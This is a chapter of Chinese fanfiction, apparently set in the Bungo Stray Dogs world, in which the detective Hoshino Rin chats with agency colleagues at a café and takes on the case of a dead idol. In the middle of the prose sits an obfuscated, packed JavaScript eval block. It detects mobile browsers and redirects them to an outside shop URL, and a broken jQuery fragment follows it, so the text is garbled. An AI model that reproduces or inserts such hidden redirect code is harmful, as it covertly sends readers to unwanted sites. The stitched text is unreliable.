星野凛简单告别村上警官后就回到了侦探社,四处张望,没有看到佐藤爱的身影:“佐藤小姐呢?不是说要见我一面吗?”
太宰解释道:“佐藤小姐还在医务室呢,与谢野医生正在给她检查,没什么大碍就可以放心让她走了。”
“我知道了。”
星野凛走进医务室,看到了坐在病床上和与谢野医生聊天的佐藤爱,略带歉意道:“打扰了。”
佐藤爱看向星野凛:“你就是星野小姐吧?”
星野凛点点头。
与谢野晶子体贴道:“你们先聊吧,我出去买点医疗用品。”
见与谢野医生走后,星野凛才问:“佐藤小姐找我有什么事吗?”
“凉介的事,我很抱歉。”
佐藤爱摇摇头:“星野小姐,这不能怪你,我找你只是想道个别。”
紧接着拿出一封信:“这是凉介留给我的信,他在信上已经说得很明白了,我打算离开横滨去别的地方生活。”
佐藤爱眷恋地看着窗外的景象:“横滨承载了太多的回忆,留在这里只会徒添悲伤,不如离开这里,去更远的地方来忘掉悲伤。”
呃……那和她有什么关联吗?随便找个人来道别不就得了。
星野凛这么想着,也问出了口:“我尊重佐藤小姐的任何选择,但找我道别是不是有点…草率?”
佐藤爱苍白的唇角漾出笑意:“星野小姐真有趣,是因为凉介在信里说你是可以信赖的人,我才想着和你道别。”
值得信赖的人?她吗?没想到佐藤凉介对她评价还挺高。
“既然该说的都说完了,我也该走了。”
星野凛提着行李箱往外走:“佐藤小姐,你的身体刚好,我来帮忙吧,顺便送送你。”
佐藤爱掩唇轻咳:“谢谢星野小姐。”
直到看着佐藤爱坐上出租车后,星野凛才回到侦探社。
希望佐藤小姐一路顺风,不要继续沉溺在悲伤中,人生还长着呢。
*
转眼间两个月过去了,星野凛正坐在侦探社楼下的咖啡店里发呆。
真没想到啊,时间过得真快,本以为上次的案件没通过考验,毕竟她解决得一团糟,被拒绝也在情理之中吧,结果居然通过了。
真不知道这是幸还是不幸。
经过上次的案件,星野凛对于组织和松本月华还是一头雾水,大脑时不时传来钝痛,像是在警告她不要去追寻原本的记忆。
可人就是有反叛心理,越不让做的事越是想做,大脑不让她想起,她偏要想起。
星野凛有点后悔当初没有向松本月华询问一些细节。
为了再次遇到组织的人,获得消息,顺便看看能不能恢复记忆,她这两个月里解决了不少案子,也积累了一些经验,可惜都一无所获。
顺便一提,这两个月里她已经和侦探社的大家都混熟了,大家知道她的情况,所以一有什么案件都会让她去解决。
今天是难得的清闲日子,星野凛伸了个懒腰:“天气可真好啊。”
“对吧?今天天气这么好,简直是入水的大好日子啊。” 太宰坐在她旁边亢奋道。
坐在对面的国木田折断了钢笔,忍无可忍道:“你这混蛋!好不容易休息就给我老实点啊,哪有在别人休息的时候突然去入水的啊?!”
“国木田君不要那么当真嘛~我就是说说而已。”
中岛敦坐在国木田身边瑟瑟发抖:“太宰先生,请你不要再说了……”
星野凛安慰道:“没关系的敦君,让他去说吧,反正国木田君是不会误伤到你的。”
中岛敦: “……” 在一旁看戏真的好吗?
太宰故意拖长语调:“诶?——凛酱好过分,都不知道担心人家,万一人家被国木田君打成重伤了怎么办?”
“不用万一,我现在就把你打成重伤!” 国木田气势汹汹地站起来把太宰踹到一边。
中岛敦立马坐到星野凛的旁边:“还是星野小姐的身边安全一点。”
“好无聊啊……” 星野凛神情恹恹地趴在桌子上。
“不如星野小姐来猜一猜国木田先生和太宰先生,加入侦探社前做的职业吧?”
星野凛看了看国木田又看了看太宰,思索道:“国木田君的话,应该是教导主任或者教师吧。”
国木田重新回到座位,喝了口咖啡:“你怎么知道的?不会是太宰那家伙说的吧?“
“因为国木田君实在是太严厉了,如果是教师的话,按照刻板印象教的肯定是数学。”
中岛敦惊叹道:“好厉害——”
“星野小姐再猜一猜太宰先生吧,目前社里还没有一个人猜出太宰先生之前是做什么的。”
星野凛不假思索道:“那家伙啊,肯定不可能做普通工作,说不定白天在会所里做牛郎,晚上就做杀手或者其他危险的工作。”
太宰拍了怕身上的灰尘,“不愧是凛酱,虽然没有完全答对。”
“哦,没答对的部分肯定是做杀手之类的,做过牛郎就大方承认嘛,我又不会嘲笑你。”
太宰笑而不语,转移话题道:“话说今天店员小姐怎么没来?她不来我的整颗心就碎掉了,好可怜的说~”
星野凛用勺子搅了搅咖啡:“可能是单纯不想看到你那张轻浮的嘴脸吧。”
“怎么会,我们相处得很愉快哦~”
“是吗?那恭喜你了,你们要是有什么新进展的话记得请我吃顿饭,庆祝一下吧。” 星野凛往咖啡里放了几块方糖,慢斯条理地搅拌。
反正也不可能真的有进展,客套一下算了。
“好哦~”
“那个……店员小姐请假好像因为她的偶像意外身亡,正忙着伤心,才不来的。” 中岛敦弱声道。
他说完走到前台拿了几张报纸和杂志过来:“店员小姐的偶像就是他,前大热男团组合FFF的成员,当红偶像——山本悠真。”
星野凛一把抢过报纸,上面的新闻标题特别夸张,什么当红偶像惨死家中,事务所毫无作为,前队友漠不关心,反正怎么吸睛怎么写。
看了眼报道时间是昨天晚上8:00,也就是说人早在这之前就出事了。
“这么重大的案件,为什么没人委托我们啊?” 星野凛疑惑道。
国木田:“可能警察那边自己能解决,就不需要委托我们了。”
“好可惜啊,错失了一笔委托费。”
这两个月赚取的委托费和工资都让她还钱,还有寄给咖啡店店长了,现在手上分毛没有,这顿咖啡还是中岛敦请的。
“没办法嘛凛酱,大不了我们再解决别的案子,现在就多休息一段时间吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037679|194643||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这时,星野凛的手机铃声响了,显示来电人是村上警官,她接通开口:“我是星野,请问有什么事吗?”
“我是村上,这几天的偶像身亡事件听说了吧?这起事件让警察署被高度关注,一直处在舆论当中,如果在一周之内没有破案,他们就要大闹警察署,我实在是顶不住压力了,想委托侦探社来调查这个案件。”
“没问题,这个案件我接了,请村上警官放心,我一定会在一周之内完美解决的。”
“好,就这样,我还有事情要忙。”
“村上警官再见。”
星野凛挂断电话后激动地一拳捶向桌子:“真是太好了!你们谁和我一起去?”
桌子边缘立马裂开几道蜘蛛网状的裂纹。
国木田&中岛敦&太宰治:“……”
见没人应声,星野凛掩耳盗铃地捂住裂开的地方,看向太宰:“既然没人和我一起去,那就让太宰君陪我一起去吧。”
“太宰君” 这三个字就像是魔咒一样飘进太宰的耳朵里。
太宰面露难色:“呜哇——放过我吧,我已经陪凛酱解决了三十个小案子,五十个大案子了,凛酱就不能让我休息一下吗?”
星野凛正义凛然地把双手比成一个叉号:“不行,身为一名侦探怎么能懈怠呢?我们要向国木田君学习,要做个认真负责,热爱工作,有理想有抱负的人。”
国木田不好意思地轻咳两声:“太宰你就陪星野一起去吧,反正你这家伙闲着也是闲着,不如多解决几个案件。”
“诶?”
太宰好奇地问:“那凛酱的抱负是什么?”
“这个问题好宏大,我还没有想好。”
“这样吗……”
星野凛拿起报纸就往店外走:“好了,快点和我一起去调查。”
太宰苦着脸:“非去不可吗?我都已经好久没入水了,好想念在水里的日子啊。”
“我把霉运传递给你总行了吧?”
太宰这家伙,特别羡慕她的倒霉体质,每次看见她喝水被呛,吃饭被噎,都会双眼放光,说什么这种自杀方式好有新意,他也好想尝试。
当时听得她拳头都硬了,真是身在福中不知福,天知道她多想和正常人一样啊,结果他还不知足。
倒霉体质不会直接传染给别人,但能间接传染,比如她把没拆开的手榴弹扔给太宰,那太宰就会被莫名其妙爆炸的手榴弹炸伤,再比如把她拿过的饭团递给太宰,太宰就会被饭团噎住,严重点还会被噎死。
这些充满了日常的死亡方式,让太宰很向往,每次都缠着她把霉运间接传递给他。
不过有一点很奇怪,每次在她把霉运间接传递给太宰的时候,她倒霉的次数就会变少,不知道是错觉还是心理暗示。
总不可能是太宰那家伙在帮她消化霉运吧?
绝对不可能,她向来不是自作多情的人,太宰这么做肯定是为了满足他的自杀癖好。
太宰听到这句话,瞬间由阴转晴:“事不宜迟,我们赶紧出发吧~”
“……” 看吧,这家伙就是单纯觉得倒霉体质新奇,符合他的癖好才这样的。
星野凛在咖啡店门口打了个车,“师傅,去星中星事务所。”
太宰叹谓道:“凛酱越来越有一个侦探的样子了嘛,连对方的事务所都记下来了。”